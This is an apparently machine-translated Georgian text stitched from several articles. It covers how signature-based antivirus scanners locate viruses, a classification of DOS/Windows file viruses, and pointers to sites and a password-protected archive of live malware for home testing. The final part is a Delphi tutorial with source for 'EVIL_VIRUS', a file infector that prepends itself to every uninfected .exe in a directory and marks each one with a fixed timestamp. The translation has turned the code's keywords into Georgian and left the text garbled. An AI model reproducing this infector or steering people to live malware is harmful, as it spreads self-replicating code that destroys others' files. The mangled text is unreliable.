• ვირუსი შევიდა ბალიშში კოდის ბოლოსა და კოდის განყოფილების დასასრულს შორის. გამოყენება შესაძლებელია უარყოფითი კომპენსირებაგანყოფილების ბოლოდან, როგორიცაა "კოდის განყოფილების დასასრული" - M (სადაც M არის ბაიტების რაოდენობა ბაიტის სტრიქონის ბოლოდან ვირუსის კოდის ბოლომდე) - "ბაიტის სტრიქონის სიგრძე"

ახლა იქიდან კონტროლის გადაცემის შესახებ:

• ვირუსმა დაწერა თავისი ინსტრუქციები პირდაპირ Entry Point-ის ინსტრუქციებზე. ამ შემთხვევაში, ჩვენ ვეძებთ ბაიტის სტრიქონს უბრალოდ ოფსეტურით "Entry Point" + N (სადაც N არის ბაიტების რაოდენობა ვირუსის დასაწყისიდან ბაიტის სტრიქონამდე)
• მის სხეულზე Entry Point JMP-ში დაფიქსირებული ვირუსი. ამ შემთხვევაში, თქვენ ჯერ უნდა გამოთვალოთ სად ეძებს ეს JMP და შემდეგ მოძებნოთ ბაიტის სტრიქონი ოფსეტური "JMP jump address" + N (სადაც N არის ბაიტების რაოდენობა ვირუსის დასაწყისიდან ბაიტის სტრიქონამდე)

რატომღაც დავიღალე „ბაიტის სტრიქონის“ წერით, ის ცვლადი სიგრძისაა, მონაცემთა ბაზაში მისი შენახვა მოუხერხებელია და სრულიად არასაჭირო, ამიტომ ბაიტის სტრიქონის ნაცვლად გამოვიყენებთ მის სიგრძეს პლუს CRC32. ეს ჩანაწერი ძალიან მოკლეა და შედარება სწრაფად მუშაობს, რადგან CRC32 ალგორითმი არ არის ნელი. საკონტროლო ჯამის შეჯახებისადმი წინააღმდეგობის გატარებას აზრი არ აქვს, რადგან ფიქსირებული ოფსეტებით შეჯახების ალბათობა უმნიშვნელოა. გარდა ამისა, შეჯახების შემთხვევაშიც კი, შეცდომა იქნება „ცრუ დადებითი“ ტიპის, რაც არც ისე საშინელია. ყოველივე ზემოთქმულის შესაჯამებლად, აქ არის ჩანაწერის სავარაუდო სტრუქტურა ჩვენს ანტივირუსულ მონაცემთა ბაზაში:

1. ვირუსის ID
2. დროშები, სადაც მითითებულია, სად უნდა წაიკითხოთ ოფსეტი (EP-დან, სათაურის ბოლოდან, პირველი განყოფილების ბოლოდან, ყველა განყოფილების დასაწყისიდან, JMP ინსტრუქციის EP-ზე გადასვლის მისამართიდან და ა.შ.)
3. ოფსეტური
4. ხელმოწერის სიგრძე (Lsig)
5. CRC32 ხელმოწერები (CRCsig)

ჩვენ ვახდენთ შეყვანის ოპტიმიზაციას (ჩვენ ვტოვებთ მხოლოდ ხელმოწერებს, რომლებიც "ჯდება" ამ ფაილში, დაუყოვნებლივ ვამზადებთ საჭირო ოფსეტების კომპლექტს სათაურიდან) და შემდეგ:
( # ყველა შესატყვისი ჩანაწერისთვის - დროშებზე დაყრდნობით, ჩვენ ვიანგარიშებთ საბაზისო ოფსეტს ფაილში (კოდის განყოფილების დასაწყისი, შესვლის წერტილი და ა. მატჩები, ჩვენ დავიჭირეთ ვირუსი)
რა, აქ არის ჩვენი პირველი ანტივირუსი. ის საკმაოდ მაგარია, რადგან საკმარისი დახმარებით სრული ბაზახელმოწერები, ჩვეულებრივ შერჩეული დროშები და კარგი ოპტიმიზაცია, ამ დეტექტორს შეუძლია ძალიან სწრაფად დაიჭიროს ყველა სახის ინფექციის 95% (თანამედროვე მავნე პროგრამების აბსოლუტური უმრავლესობა უბრალოდ შესრულებადი ფაილია, მუტაციის გარეშე). შემდეგ იწყება თამაში "ვინ განაახლებს ხელმოწერის მონაცემთა ბაზებს უფრო სწრაფად" და "ვის გაუგზავნის ჯერ რაიმე საზიზღარი ნივთის ახალ ასლს".

ამ „ნაყარის“ შეგროვება და კატალოგირება ძალიან არა ტრივიალური ამოცანაა, მაგრამ აბსოლუტურად აუცილებელია დეტექტორის მაღალი ხარისხის ტესტირებისთვის. შესრულებადი ფაილების საცნობარო მონაცემთა ბაზის შეგროვება ადვილი საქმე არ არის: შეეცადეთ იპოვოთ ინფიცირებული ფაილების ყველა მაგალითი ( რთული შემთხვევებირამდენიმე ეგზემპლარად), დაალაგეთ ისინი, შეურიეთ ისინი „სუფთა“ ფაილებს და რეგულარულად ატარეთ დეტექტორი მათზე, რათა გამოავლინოთ აღმოჩენის შეცდომები. ასეთი მონაცემთა ბაზა წლების განმავლობაში გროვდებოდა და ანტივირუსული კომპანიების ძალიან ღირებული აქტივია. შესაძლოა, ვცდები და მისი მიღება ნამდვილად შესაძლებელია (ყველა სახის ონლაინ ვირუსის შემოწმების სერვისს საკმაოდ შეუძლია მის ანალოგების მიწოდება), მაგრამ როცა ამ საკითხს ვაკვირდებოდი, მსგავსი რამის მიღება შეუძლებელი იყო (შესაბამისად რომ მინიმუმ, Linux-ის ქვეშ).

ევრისტიკული ანალიზატორი

რომელიც საშინელი სიტყვა– „ევრისტიკული ანალიზატორი“, ახლა მას ვერ ნახავთ ანტივირუსულ ინტერფეისებში (ალბათ აშინებს მომხმარებლებს). ეს არის ანტივირუსის ერთ-ერთი ყველაზე საინტერესო ნაწილი, რადგან ყველაფერი, რაც არ ჯდება არცერთ ძრავში (არც ხელმოწერის ძრავა და არც ემულატორი) არის ჩასმული მასში და ეს ჰგავს ექიმს, რომელიც ხედავს, რომ პაციენტი ხველა და ცემინება, მაგრამ არ შეუძლია კონკრეტული დაავადების იდენტიფიცირება. ეს არის კოდი, რომელიც ამოწმებს ფაილს ზოგიერთისთვის დამახასიათებელი ნიშნებიინფექცია. ასეთი ნიშნების მაგალითები:

• არასწორი (დაზიანებულია ვირუსით, მაგრამ ფუნქციონალური) ფაილის სათაური
• JMP პირდაპირ შესასვლელ წერტილში
• "rwx" კოდის განყოფილებაზე

ისე, და ასე შემდეგ. ინფექციის ფაქტის მითითების გარდა, ევრისტიკა დაგეხმარებათ გადაწყვეტილების მიღებაში - უნდა ჩავატაროთ ფაილის უფრო „მძიმე“ ანალიზი? თითოეულ ნიშანს აქვს სხვადასხვა წონა, „რაღაც საეჭვოდან“ „არ ვიცი რა, მაგრამ ფაილი ნამდვილად ინფიცირებულია“. ეს ის ნიშნებია, რომლებიც წარმოქმნიან "ცრუ პოზიტიურ" შეცდომებს. ასევე არ უნდა დაგვავიწყდეს, რომ სწორედ ევრისტიკა შეუძლია ანტივირუსულ კომპანიას მიაწოდოს პოტენციური ვირუსების ასლები. იმუშავა ევრისტიკამ, მაგრამ კონკრეტული ვერაფერი მოიძებნა? ეს ნიშნავს, რომ ფაილი ნამდვილად არის ანტივირუსული კომპანიისთვის გაგზავნის კანდიდატი.

სახეობათაშორისი ურთიერთქმედება და ევოლუცია

როგორც ვნახეთ, სწრაფი და ზუსტი შედარებისთვის დეტექტორს სჭირდება თავად ხელმოწერის ბაიტები და მისი ოფსეტური. ან სხვა სიტყვებით რომ ვთქვათ, კოდის შინაარსი და მისი ადგილმდებარეობის მისამართი მასპინძელ ფაილში. აქედან გამომდინარე, გასაგებია, თუ როგორ განვითარდა იდეები ვირუსების შესრულებადი კოდის დამალვის შესახებ - ორი მიმართულებით:

• თავად ვირუსის კოდის დამალვა;
• მისი შესასვლელი წერტილის დამალვა.

ვირუსის კოდის დამალვამ გამოიწვია პოლიმორფული ძრავების გაჩენა. ანუ ძრავები, რომლებიც ვირუსს საშუალებას აძლევს შეცვალოს თავისი კოდი ყოველ ახალ თაობაში. ყოველ ახალ ინფიცირებულ ფაილში ვირუსის სხეული მუტაციას განიცდის, რაც ცდილობს აღმოაჩინოს უფრო რთული. ეს ართულებს ხელმოწერის შინაარსის შექმნას.

შესვლის წერტილის დაბნელებამ გამოიწვია ვირუსის ძრავებში ავტომატური დემონტაჟის გაჩენა, რათა დადგინდეს, მინიმუმ, გადახტომის ინსტრუქციები. ვირუსი ცდილობს დამალოს ადგილი, საიდანაც ხდება მის კოდზე გადასვლა, ფაილიდან იყენებს იმას, რაც საბოლოოდ იწვევს გადასვლას: JMP, CALL, RET ყველა სახის, მისამართების ცხრილები და ა.შ. ამრიგად, ვირუსი ართულებს ხელმოწერის ოფსეტურის დაზუსტებას.

ასეთი ძრავების და დეტექტორების რამდენიმე ალგორითმს ბევრად უფრო დეტალურად განვიხილავთ მეორე სტატიაში, რომლის დაწერასაც უახლოეს მომავალში ვგეგმავ.

ვირუსული ძრავების და დეტექტორების განვითარების პარალელურად, რომლებიც მათ ეწინააღმდეგებიან, აქტიურად განვითარდა შესრულებადი ფაილების კომერციული დაცვა. დიდი რაოდენობით მცირე კომერციული პროგრამებიდა დეველოპერებს სჭირდებოდათ ძრავები, რომლებიც მათ საშუალებას მისცემდა აეღოთ EXE ფაილი და „გადაახვიოთ“ ის რაიმე სახის „კონვერტში“, რომელსაც შეუძლია უსაფრთხოდ შექმნას მოქმედი ფაილი. სერიული ნომერი. ვინ ჩვენგანმა იცის, როგორ დამალოს შესრულებადი კოდი და ჩასვა შესრულებად ფაილებში ფუნქციონირების დაკარგვის გარეშე? მართალია, იგივე დეველოპერები "დაკავშირებული სფეროდან". ამიტომ, კარგი პოლიმორფული ვირუსის დაწერა და შესრულებადი ფაილის დაკიდება ძალიან მსგავსი ამოცანებია, იგივე ალგორითმებისა და ხელსაწყოების გამოყენებით. მსგავსია ვირუსების ანალიზისა და ხელმოწერების შექმნის პროცესი და კომერციული პროგრამული უზრუნველყოფის გატეხვა. ორივე შემთხვევაში, თქვენ უნდა მიაღწიოთ ნამდვილ კოდს და შექმნათ ხელმოწერა ან ამოიღოთ ალგორითმი მისგან სერიული ნომრის გენერირებისთვის.

ინტერნეტში არის რამდენიმე გვერდი თემაზე "კომპიუტერული ვირუსების კლასიფიკაცია". მაგრამ ჩვენ შევთანხმდით, რომ ვირუსი არის ის, რასაც შეუძლია სისტემაში საკუთარი თავის რეპროდუცირება და რომელიც მოითხოვს გადამტან ფაილს. მაშასადამე, ყველა სახის Trojans-rootkits-მავნე პროგრამა არ არის ვირუსები, არამედ გადატვირთვის კოდის ტიპი, რომელიც ვირუსს შეუძლია თავის თავზე ატაროს. სტატიაში აღწერილი ტექნოლოგიებისთვის კომპიუტერული ვირუსების მხოლოდ ერთი კლასიფიკაცია შეიძლება იყოს: პოლიმორფული და არაპოლიმორფული ვირუსები. ანუ თაობიდან თაობაში შეცვლა, თუ არა.

სტატიაში განხილული დეტექტორი ადვილად აღმოაჩენს არაპოლიმორფულ (დავარქვათ მათ მონომორფული, ან რაღაც) ვირუსებს. პოლიმორფულ ვირუსებზე გადასვლა შესანიშნავი მიზეზია ამ სტატიის საბოლოოდ დასასრულებლად, რომელიც გვპირდება, რომ დაუბრუნდება შესრულებადი კოდის დამალვის უფრო საინტერესო მეთოდებს.

კომპიუტერული ვირუსები არის თემა, რომელიც არასოდეს შეწყვეტს აქტუალობას. უფრო კონკრეტულად, მათ წინააღმდეგ ბრძოლა და რომელი პროგრამები იცავს თქვენს კომპიუტერს ყველაზე კარგად.

რა თქმა უნდა, ზოგიერთი მომხმარებელი, ვინც კითხულობს ამ სტატიას, დარწმუნებულია, რომ მათი სისტემა ასი პროცენტით საიმედო და დაცულია. ეს ის მომხმარებლები არიან, რომლებსაც ამის სჯერათ საუკეთესო ანტივირუსიარიან "პირდაპირი"აიღეთ და დააინსტალირეთ უსაფრთხოების საშუალებები მხოლოდ იმისთვის, რომ შეამოწმოთ ცვლილებები გაშვებაში, რეესტრში და სხვა რამეებში. სწორედ ასეთი მომხმარებლებისთვისაა დაწერილი ეს სტატია ძირითადად.

ოდესმე გიკითხავთ საკუთარ თავს, საიდან მოდის ანტივირუსულ პროგრამებზე მოთხოვნის წყარო? ყოველივე ამის შემდეგ, თქვენ ყველას გსმენიათ ტესტების შესახებ, რომლებიც განსაზღვრავენ, რომ ერთი ანტივირუსი უკეთესია, ვიდრე მეორე, ასეთი და ასეთი მახასიათებლების საფუძველზე.

მე ვისაუბრე ანტივირუსებზე ამ ვიდეოში:

რომელი ანტივირუსია უკეთესი? IT YouTubers-ის აზრი

როგორ იქმნება ყველა ეს ტესტი? იდეალურ შემთხვევაში, სურათი ასეთია: წერენ კომპანიის ექსპერტები სხვადასხვა ვირუსებირომლებიც ცდილობენ დაინფიცირებას სხვადასხვა ვერსიებიოპერაციული სისტემები, რომლებზეც ისინი დამონტაჟებულია სხვადასხვა ანტივირუსებიდა პირობებიც განსხვავებულია. ასეთი მასშტაბური ტესტირების შემდეგ ხდება შედეგების შეჯამება და ანგარიშების დაწერა. გეთანხმები, ყველაფერი ლოგიკურია. და თითოეული სპეციალისტის ტესტის შედეგები შეიძლება ასევე განსხვავებული იყოს, რადგან მათ აქვთ სრულიად განსხვავებული პირობები ანტივირუსული პროგრამის შესამოწმებლად.

ახლა ინტერნეტში არის საიტები, სადაც შეგიძლიათ ჩამოტვირთოთ ვირუსი შესამოწმებლად საკუთარი სისტემაზემოაღნიშნულის მოსაძებნად. დარწმუნებული ვარ, გესმით, რა შეიძლება გამოიწვიოს ამან.

მოდი, მაშინვე გავერკვეთ. თქვენ ყველა გონივრულად ფიქრობთ და ხართ თქვენი კომპიუტერების მფლობელები. ამიტომ, თუ ჩემს მიერ შემოთავაზებული საიტიდან ასეთი ვირუსის ჩამოტვირთვის შემდეგ, თქვენი მთელი სისტემა, ფოტოები, ვიდეოები, პაროლები და ა.შ. თქვენ ჩამოტვირთავთ ვირუსს მხოლოდ თქვენი საფრთხისა და რისკის ქვეშ.გამოიყენეთ მიღებული ინფორმაცია სწორად. არ მისცეთ გადმოსაწერი ბმული მეგობრებს, ბავშვებს, ორსულებს და ცხოველებს))). თქვენ არ უნდა იყოთ სრულიად დარწმუნებული თქვენს სისტემაში, რადგან წარმოდგენაც არ გაქვთ რა იმალება ამ ვირუსებში. ზოგადად, ეს სტატია განკუთვნილია მხოლოდ საინფორმაციო მიზნებისთვის და არა მიღებული ცოდნის პრაქტიკაში გამოყენებისთვის.

უკვე 2013 წელს, Kaspersky"შექმენი ჩემი პირველი ტესტი ვირუსი"ეიკარმისი მთავარი ამოცანა იყო სისტემის კონტროლი, ჩვენება სწორი მესიჯიდა კვლავ მიეცით მთელი ძალა სისტემას. შეგიძლიათ გადმოწეროთ ამ ბმულიდან. თქვენ იპოვით ვირუსებს თქვენი კომპიუტერის სკანირებისთვის, არის ვირუსები ყველა ფერისა და გემოვნებისთვის. მათი ჩამოტვირთვის ბმულები არის "დომენის" სვეტშითქვენ უბრალოდ უნდა გახსნათ ბმული ახალ ფანჯარაში. აქ არის კიდევ ერთი მისამართი ვირუსებით, რომლის ბმული არის სვეტში "წყარო".

ამ სერვისიდან ვირუსების ჩამოსატვირთად შეიძლება დაგჭირდეთ რეგისტრაცია. თუ ბმული მონიშნულია მწვანეეს ნიშნავს, რომ იქ არის ვირუსი. ყვითელინიშნავს, რომ არქივიდან თითქმის ყველა ვირუსი ამოღებულია. როგორც უკვე გესმით, წითელი ფერის ბმულები ვირუსებისგან თავისუფალია.

http://www.virusign.com არის კიდევ ერთი სერვისი, რომელიც მთლიანად რუსულ ენაზეა.

ამ ბმულის შემდეგ http://openmalware.org თქვენ აუცილებლად უნდა იცოდეთ ვირუსის სახელი, რათა იპოვოთ იგი მონაცემთა ბაზაში. ჩამოტვირთვის საიტი მოითხოვს სავალდებულო რეგისტრაციას ჩამოტვირთვისთვის.

და ბოლოს, არქივი 20000 ვირუსით - პაროლი 111. დიახ, იქ ძალიან ბოროტი არსებები არიან და ყველა ანტივირუსი ვერ გიხსნის მათგან!

ვფიქრობ, ეს თანხა საკმარისი იქნება თქვენთვის ვირუსების მონაცემთა ბაზები. ნუ შეაფასებთ ამ ვირუსებს და ჩათვალეთ, რომ მათ შეუძლიათ მხოლოდ ოდნავ დაძაბონ თქვენი ანტივირუსი. დიდი ალბათობით არის რამდენიმე მავნე პროგრამა, რაც ანტივირუსმა შეიძლება ვერც კი შეამჩნიოს. ამიტომ, ვიმეორებ, ჯერ სამჯერ დაფიქრდით, სანამ მოაწყობთ თქვენს მსგავს შემოწმებებს ანტივირუსული პროგრამა. თუ თქვენი კომპიუტერი გაფუჭდა, მაშინ მხოლოდ თქვენ ხართ პასუხისმგებელი!ამ გვერდზე ყველა ვირუსი წარმოდგენილია მხოლოდ საინფორმაციო მიზნებისთვის!

თუ მაინც მოახერხეთ ინფექციის დაჭერა, უყურეთ ამ ვირუსის მოცილების დასაკრავ სიას:

წაშალეთ ყველა ვირუსი თქვენი კომპიუტერიდან

გმადლობთ, რომ ხართ ჩვენთან და არასოდეს დაინფიცირდეთ!

მოგეხსენებათ, პირველი კომპიუტერული ვირუსები იყო ფაილი. ისინი ყველაზე ხშირად ნაწილდებიან ფლოპი დისკზე თამაშების გაცვლისას. დღეს უფრო მეტია საშიში ვირუსები თუმცა, ფაილის ვირუსებმა შეიძლება გამოიწვიოს მნიშვნელოვანი ზიანი.

როგორია ფაილური ვირუსის მუშაობის პრინციპი?

ფაილის ვირუსიწარმოადგენს კომპიუტერული ვირუსი, რომელიც ანიჭებს თავის კოდს დოკუმენტის ან პროგრამის სხეულს და იწყებს მოქმედებას და რეპროდუცირებას მისი გამოყენებისას. კონტროლის მიღების შემდეგ, მას შეუძლია გადაიტანოს თავისი სხეული დისკზე მდებარე ნებისმიერ ფაილზე. ფაილის ინფიცირებისას მას შეუძლია დაურთოს თავი მის დასაწყისს, შუაში ან დასასრულს. ფაილზე მიმაგრების შემდეგ, ვირუსს შეუძლია დააინფიციროს სხვა ფაილები, დატოვოს მისი რეზიდენტი მოდულები მეხსიერებაში ან შეასრულოს სხვა მავნე ქმედებები.

ჩვეულებრივ, ფაილის ვირუსებიგავლენას ახდენს ყველა ტიპის სტანდარტულ DOS შესრულებად ობიექტებზე: დრაივერებზე, შესრულებად ბინარულ და ბრძანების ფაილებზე და ფაილებზე დინამიური ბიბლიოთეკებიდა სხვა. ამ შემთხვევაში, მომხმარებელმა შეიძლება ვერ შეამჩნიოს ვირუსის ეფექტი. იმისთვის, რომ თავი არ გასცეთ, ეს ვირუსითავდაპირველად შეუძლია ჩაწეროს დრო და თარიღი უახლესი ვერსიადა ინფიცირებული ფაილის ატრიბუტების მახასიათებლები ინფექციის შემდეგ ამ ინფორმაციის აღდგენის მიზნით.

ფაილური ვირუსების ტიპები:

1. სტელსი ვირუსები(უხილავი ვირუსები) - ვირუსები, რომლებიც ინფიცირებული და მოდიფიცირებული ფაილების შესახებ ინფორმაციის ამოღებით, ნაწილობრივ ან მთლიანად მალავენ სისტემაში მათ არსებობას.

2. პოლიმორფული ვირუსები - ვირუსები, რომლებიც შიფრავს მათ კოდს და ასევე იყენებენ სპეციალური მეთოდიგაშიფვრა, რომელიც იცვლება ვირუსის ყოველ ახალ ასლში.

3. სატელიტური ვირუსები(კომპანიები) - ვირუსები, რომლებიც გავრცელებისას ქმნიან დირექტორიაში დამატებითი ფაილიიგივე სახელით და გაფართოებით COM. ეს ფაილივირუსის კოდით მოქმედებს როგორც EXE ფაილის კომპანიონი.

4. მაკრო ვირუსები- ფაილური ვირუსები, რომლებიც აინფიცირებენ პროგრამების მიერ შექმნილ ფაილებს Microsoft word, Excel და სხვა საერთო რედაქტორები.

ინსტალაცია დაგეხმარებათ თავიდან აიცილოთ ინფექცია ფაილური ვირუსით. მაღალი ხარისხის ანტივირუსიდა მისი რეგულარული განახლება, ასევე ფრთხილად სერფინგი ინტერნეტში. თუ ფაილის ვირუსი შევიდა თქვენს კომპიუტერში, ნუ ჩქარობთ მის ამოღებას, უმჯობესია დაუკავშირდეთ სპეციალისტებს ამ პრობლემის შესახებ.

კლასიფიკაცია

HLLO-მაღალი დონის ენის გადაწერა. ასეთი ვირუსი გადაწერს პროგრამას თავისი სხეულით. იმათ.
პროგრამა განადგურებულია და როდესაც მომხმარებელი ცდილობს პროგრამის გაშვებას, ვირუსი იწყება და შემდგომში „აინფიცირებს“.

HLLC-მაღალი დონის ენის კომპანიონი. ამ ვირუსების უმეტესობა თარიღდება ხახიანი ანტიკურობით (8-10 წლის წინ), როდესაც მომხმარებლებს DOS ჰქონდათ და ძალიან ზარმაცობდნენ. ეს ვირუსები ეძებენ ფაილს და მისი შეცვლის გარეშე ქმნიან საკუთარი თავის ასლს, მაგრამ .COM გაფართოებით. თუ ზარმაცი მომხმარებელი წერს ბრძანების ხაზიმხოლოდ ფაილის სახელი, შემდეგ ჯერ DOS ეძებს COM ფაილი, ვირუსის გაშვება, რომელიც ჯერ თავის საქმეს აკეთებს და შემდეგ უშვებს EXE ფაილს. არის კიდევ ერთი მოდიფიკაცია
HLLC - უფრო თანამედროვე (7 წლის;)): ვირუსი ცვლის ფაილს სახელს, ინარჩუნებს სახელს, მაგრამ ცვლის გაფართოებას - EXE-დან, ვთქვათ, OBJ ან MAP-ზე. ვირუსი ცვლის მის სხეულს ორიგინალური ფაილი. იმათ. მომხმარებელი უშვებს ვირუსს, რომელიც გამრავლების შემდეგ უშვებს სასურველ პროგრამას - ყველა ბედნიერია.

HLLP-მაღალი დონის ენა პარაზიტი. ყველაზე მოწინავე. მიაწერეთ მათი სხეული ფაილს წინა მხრიდან (ვირუსი ჯერ იწყება, შემდეგ ის აღადგენს პროგრამას და აწარმოებს მას) ან უკნიდან
- შემდეგ პროგრამის სათაურში ვწერთ jmp ვირუსის სხეულთან ახლოს, ჯერ კიდევ პირველი.

ჩვენ შეგვიძლია დავტოვოთ თავად პროგრამა უცვლელი, შემდეგ ის ასე გამოიყურება:

რა არის MZ, მგონი გამოიცანით :) ეს არის თქვენი საყვარელი მარკ ზბიკოვსკის ინიციალები, რომელიც მან მოკრძალებულად განსაზღვრა exe ფაილის ხელმოწერაში :) და მე შევიყვანე ისინი მხოლოდ იმისათვის, რომ გაიგოთ
— ინფექცია ხდება copy / b virus.exe program.exe პრინციპის მიხედვით და აქ სპეციალური ხრიკები არ არის. Ახლა არა. მაგრამ მე და შენ მათ გავურბივართ
- Იყოს ჯანმრთელი:). მაგალითად: შეგიძლიათ გამოიყენოთ პირველი 512 ან მეტი ბაიტი ორიგინალური პროგრამადაშიფვრეთ თქვენთვის ცნობილი ნებისმიერი ალგორითმით - XOR/XOR, NOT/NOT, ADD/SUB, შემდეგ ასე გამოიყურება:

ამ შემთხვევაში, ინფიცირებული ფაილის სტრუქტურა არც ისე ნათელი იქნება.
ტყუილად არ ვყვები აქ ამდენს (კლასიფიკაციაში, გაგებით)
- პარაზიტული ალგორითმი გამოიყენება 90%-ით თანამედროვე ვირუსები, მიუხედავად მათი განაწილების მეთოდისა. კარგი, გავაგრძელოთ:

ქსელის ვირუსი. შეიძლება იყოს რომელიმე ზემოთ ჩამოთვლილი. ის განსხვავდება იმით, რომ მისი განაწილება არ არის
შემოიფარგლება ერთი კომპიუტერით, ეს ინფექცია როგორღაც ხვდება ინტერნეტით ან ლოკალური ქსელისხვა მანქანებზე. მე ვფიქრობ, რომ თქვენ რეგულარულად გამოიყვანთ ამ მეგობრებს თქვენი საპნის კოლოფიდან.
- აქ არის ქსელური ვირუსის მაგალითი. და როგორც კი ის მოხვდება სხვის კომპიუტერში, ის აინფიცირებს ფაილებს თვითნებურად, ან საერთოდ არ აინფიცირებს მათ.

მაკრო ვირუსები, სკრიპტის ვირუსები, IRC ვირუსები. მე მათ ერთ ჯგუფში ვათავსებ, რადგან ეს არის აპლიკაციებში ჩაშენებულ ენებზე დაწერილი ვირუსები (MSOffice:)), სკრიპტები (თქვენი საყვარელი VBS წესები აქ) და IRC სკრიპტები. მკაცრად რომ ვთქვათ, როგორც კი საკმარისად მძლავრი (და/ან გაჟონვა) სკრიპტის კომპონენტი გამოჩნდება აპლიკაციაში, მაშინვე იწყება მასზე ვირუსების ჩაწერა 😉 სხვათა შორის, მაკროვირუსები ძალიან მარტივია და ადვილად იდენტიფიცირდება ევრისტიკით.

კოდირება

ჩვენ იქ მივედით 🙂 მოდი, გაუშვით Delphi, მოკალით ყველა სახის ფანჯარა და წაშალეთ ყველა სისულელე პროექტის ფანჯრიდან. ანუ, წაშალე ყველაფერი :) ჩვენ ვიმუშავებთ მხოლოდ DPR-ით, რომელიც შეიცავს:

პროგრამა EVIL_VIRUS;
იყენებს WINDOWS,SYSUTILS;
დაიწყოს
დასასრული;

ვფიქრობ, თქვენ უკვე გაიგეთ ვირუსის ლოგიკა კლასიფიკაციიდან - ჩვენ აღვადგენთ და გავუშვით პროგრამა -> დაველოდოთ მისი მუშაობის დასრულებას -> წაშალეთ "გამოყენებული ფაილი" (დამავიწყდა მეთქვა - ჩვენ არ ვქმნით ინფიცირებულ პროგრამას, ჩვენ გადავცემთ ორიგინალურ კოდს მარცხენა ფაილში და გაუშვით ის. დააინფიციროს იგი. სულ ესაა :) ვირუსის ძირითადი დიზაინი ზუსტად ასე გამოიყურება.

ახლა გამოაცხადეთ შემდეგი ცვლადები და მუდმივები თქვენი ძლიერი ტვინისთვის:

VaR VirBuf, ProgBuf, MyBuf: char-ის მასივი;
SR: TSearchRec;
My,pr: ფაილი;
ProgSize, შედეგი: მთელი რიცხვი;
PN,st: სიმებიანი;
si: Tstartupinfo;
p:Tპროცესური ინფორმაცია;
ინფიცირებული: ლოგიკური;
CONST VirLen: longint= 1000000;

პირველი ხაზი არის დინამიური მასივები, რომელშიც ჩავწერთ შესაბამისად ვირუსის სხეულს და პროგრამას; ჩაიწერება SR ცვლადზე
ნაპოვნი ფაილის მახასიათებლები, რომელიც არის ინფექციის კანდიდატი (ვიმედოვნებ, იცნობთ FindFirst და FindNext პროცედურებს, რადგან ის გაუარესდება;)), ჩემი და
Pr არის ფაილი, საიდანაც დავიწყეთ და მარცხენა ფაილი ორიგინალური პროგრამის კოდით (მე უკვე დავწერე ზემოთ). შედეგი - FindFirst-ის შედეგი, ის უნდა იყოს ნულის ტოლი,
ProgSize - პროგრამის კოდის ზომა. დანარჩენი ცხადია შემდგომში, გარდა
infected არის ნიშანი იმისა, რომ ნაპოვნი ფაილი ინფიცირებულია და
VirLen არის ვირუსის კოდის სიგრძე, რომელსაც მხოლოდ ქორწილის შემდეგ გაიგებთ. აუ, შედგენის შემდეგ მინდოდა მეთქვა. იმათ. შედგენა, შეცვალოს მუდმივის მნიშვნელობა წყაროში და ხელახლა კომპილაცია.
მოდით, შემდგომში დავწეროთ :) აქ ხედავთ კოდს, რომელიც პასუხისმგებელია ინფიცირებული პროგრამის აღდგენასა და გაშვებაზე:

SetLength (virbuf, VirLen);
AssignFile(my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile(@st,'c:\windows\program.exe',false);
IF FileSize (my)> VirLen მაშინ
დაიწყოს
//გაუშვით პროგრამა
AssignFile(my,'c:\windows\program.exe);
გადატვირთვა (ჩემი);
ProgSize:= FileSize(my)-VirLen;
BlockRead(my,virbuf,virlen);
SetLength (progbuf, pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (ჩემი);
PN:= ‘_’+ParamStr(0);
AssignFile (pr,PN);
გადაწერა (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile(pr);
FillChar(Si, SizeOf(Si) , 0);
სი დოსთან ერთად
დაიწყოს
cb:= SizeOf(Si);
dwFlags:= startf_UseShowWindow;
wShowWindow:= 4;
დასასრული;
PN:= PN+#0;
Createprocess(nil,@PN,nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//დაიწყო, პროგრამა გაიქცა. წავშალოთ :)
ErAsE(pr);
წაშლა (ჩემი);

აქ ყველაფერი, პრინციპში, მარტივი და გასაგებია, გარდა იმისა, თუ რატომ გადავიტანე მთელი ინფიცირებული ფაილი Windows დირექტორიაში და რას აკეთებს 3-დან 5-მდე ხაზების ჩათვლით.
და ეს იმიტომ გავაკეთე, რომ წავიკითხე გაშვებული ფაილიმოუხერხებელია და შესაძლებელია მხოლოდ CreateFile და ReadFile WinAPI გამოყენებით. WinAPI-ის გამოყენებით კოდირების შესახებ მოგვიანებით გეტყვით, ახლა მხოლოდ საფუძვლებს გავაშუქებ
-დელფოში.

ეს ხაზები - სიმებიანი კონვერტაციაფჩარამდე ტრადიციული მეთოდი, რადგან ჩვენ ახლა ვიბრძვით კოდის ყველა ბაიტისთვის. კიდევ ერთი წერტილი: არასწორად მოვიქეცი, როცა c:\windows ბილიკი ასე მკაცრად დავაყენე. ჯობია GetWindowsDirectory პროცედურა გამოიყენო, აუცილებლად გაარკვიე :) დანარჩენი ყველაფერი გასაგებია ყოველგვარი კომენტარის გარეშე (თუ არა
შეწყვიტე კომპიუტერული მეცნიერების გამოტოვება ;)), მოდით გავაგრძელოთ:

შედეგი:= FindFirst('*.exe',faAnyFile,sr);
WHILE შედეგი= 0 DO
დაიწყოს
//შეამოწმეთ ტილები
ინფიცირებული:= ცრუ;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '08/03/98 06:00:00' შემდეგ დაინფიცირდა:= true;
//შემოწმებულია!
IF (infected= false)და (sr.name<>paramstr(0)) შემდეგ
დაიწყოს
AssignFile(my,sr.Name);
ხელახლა ჩაწერა (ჩემი);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (ჩემი);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('08/03/98 06:00:00')));
დასასრული;
დასასრული;

//თუ ვირუსი გაშვებულია „სუფთა“, ე.ი. არა ინფიცირებული პროგრამიდან, შემდეგ გავდივართ
ბოლოს სხვა შეჩერება;

